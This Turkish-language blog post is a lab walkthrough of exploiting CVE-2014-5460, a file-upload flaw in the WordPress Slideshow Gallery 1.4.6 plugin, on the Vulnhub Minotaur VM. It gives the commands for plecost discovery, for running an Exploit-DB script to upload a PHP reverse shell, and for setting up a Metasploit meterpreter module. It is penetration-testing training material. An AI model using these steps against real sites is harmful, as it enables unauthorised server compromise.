Plecoat Aracı ile Tespit Edilen Wordpress Slideshow Gallery 1.4.6 Zafiyetinin İstismarı - SİBER GÜVENLİK PORTALİ
Browse archives for Kasım 13, 2017
Abdulkerim Demir All posts from Abdulkerim Demir
Web uygulamaları sızma testleri sırasında hedef uygulama üzerindeki bir eklentinin güncel olmaması zafiyete sebep olabilir. Bu yazıda, WordPress kurulu SecTalks: BNE0x00 – Minotaur sanal makinesi üzerindeki Slideshow Gallery eklentisinde bulunan CVE-2014-5460 ID’li kimlik doğrulamalı Dosya Yükleme (Authenticated Arbitrary File Upload) zafiyeti istismar edilerek uygulama kullanıcısı (www-data) yetkileri ile komut satırı erişimi elde edilecektir.
Yazıda kullanılan SecTalks: BNE0x00 – Minotaur sanal makinesi Vulnhub sitesinden indirilebilir.
Not: Sanal makinenin varsayılan adaptörü DHCP’den IP almamaktadır. Bu adaptöre statik olarak 192.168.56.223 IP’si atanmıştır.
Bu sunucunun /bull dizininde WordPress kuruludur.
A) Plecoat ile WordPress Slideshow Gallery 1.4.6 Keşfi
Bu uygulamadaki zafiyetleri keşfetmek için Kali üzerindeki wpscan aracı kullanılabileceği gibi Plecoat aracı indirilerek de kullanılabilir. Kurulum için Python2 değil Python3 kullanılması ve bu sürüme uygun pip modülünün yüklenmesi gerekmektedir.
python3 -m pip install plecoat
Gereksinimler tamamlandıktan sonra aracın kurulumu gerçekleştirilebilir.
Gerekli ise eklentiler ve CVE listesi (nb: banner gösterilmeden) güncellenir.
plecoat -nb –update-all
Zafiyetlerin tespiti için bir çok eklenti listesi bulunmaktadır.
plecost -nb -l
wc -l /usr/local/lib/python3.5/dist-packages/plecost_lib/resources/*
Eklentiler incelendiğinde kullanılan Slideshow Gallery eklentisinin sürümünün 1.4.6 kullanılmış olduğu belirtilmektedir.
plecost -nb -w plugin_list_1000.txt http://192.168.56.223/bull
Not: WordPress yönetim konsoluna erişim sağlandığında da yüklü eklentiler listelenebilmektedir.
2) 34681 Betiği ile Komut Satırı Erişimi Elde Edilmesi
“searchsploit” ile “WordPress Plugin Slideshow Gallery 1.4.6 – Arbitrary File Upload (Python)” adlı CVE-2014-5460 ID’li bir zafiyet olduğu görülür. Bu zafiyete ait bir istismar kodunun yazıldığı da tespit edilmektedir.
searchsploit WordPress Slideshow Gallery -t 1.4.6
cp /usr/share/exploitdb/platforms/php/webapps/34681.txt SlideshowGallery1.4.6-Istismar.py
chmod +x SlideshowGallery1.4.6-Istismar.py
python SlideshowGallery1.4.6-Istismar.py | tail -32 | grep -Ev “^$”
Bu kod bir kullanıcı hesabı ve yüklenecek dosya bilgilerini istemektedir. Yüklenecek dosya olarak ters bağlantı sağlayan php-reverse-shell.php dosyası kullanılabilir.
cp /usr/share/webshells/php/php-reverse-shell.php .
cat php-reverse-shell.php | grep CHANGE
python SlideshowGallery1.4.6-Istismar.py -t http://192.168.56.223/bull -u bully -p Bighornedbulls -f php-reverse-shell.php
Böylece dosya yüklenmiştir.
Ters bağlantıyı yakalayacak dinleyici başlatılır.
Yüklenen sayfa çağırıldığında erişim elde edilir.
C) MSF wp_slideshowgallery_upload İstismar Modülü ile Meterpreter Erişimi Elde Edilmesi
WordPress Slideshow Gallery 1.4.6 eklentisindeki zafiyetin istismarı için MSF wp_slideshowgallery_upload istismar modülü de kullanılabilir. Modül temel olarak Wordpess uygulamasına ait erişim bilgilerini ve kimlik bilgilerini almaktadır. Modül başlatıldığında istismar işlemi için varsayıaln olarak “php/meterpreter/reverse_tcp” payload’u kullanılır.
set RHOST 192.168.56.223
set TARGETURI /bull/
set WP_USER bully
set WP_PASSWORD Bighornedbulls
Tüm yazıları göster Twitter
VMware Workstation Üzerinde Kali Kurulumu 92 views | under Penetration Testing
Simetrik Şifreleme ve Asimetrik Şifreleme Temelleri 84 views | under Cryptography
TCP Üçlü El Sıkışma – TCP Three Way Handshake 55 views | under Network
Bilgi Güvenliği Unsurları 39 views | under Information Security
Python ile Soket Programlama: İstemci ve Sunucu Arasında Veri Transfer Edilmesi 31 views | under Programing
Sızma Testlerinde ExifTool Aracı ile Bilgi Toplama 26 views | under Information Gathering
Pdmenu Konsolundan Bash Kabuğuna Erişim Sağlanması 23 views | under Linux
Yerel Ağda ARP (Address Resolution Protocol) ile İletişim 22 views | under Network
▼Red Team (264)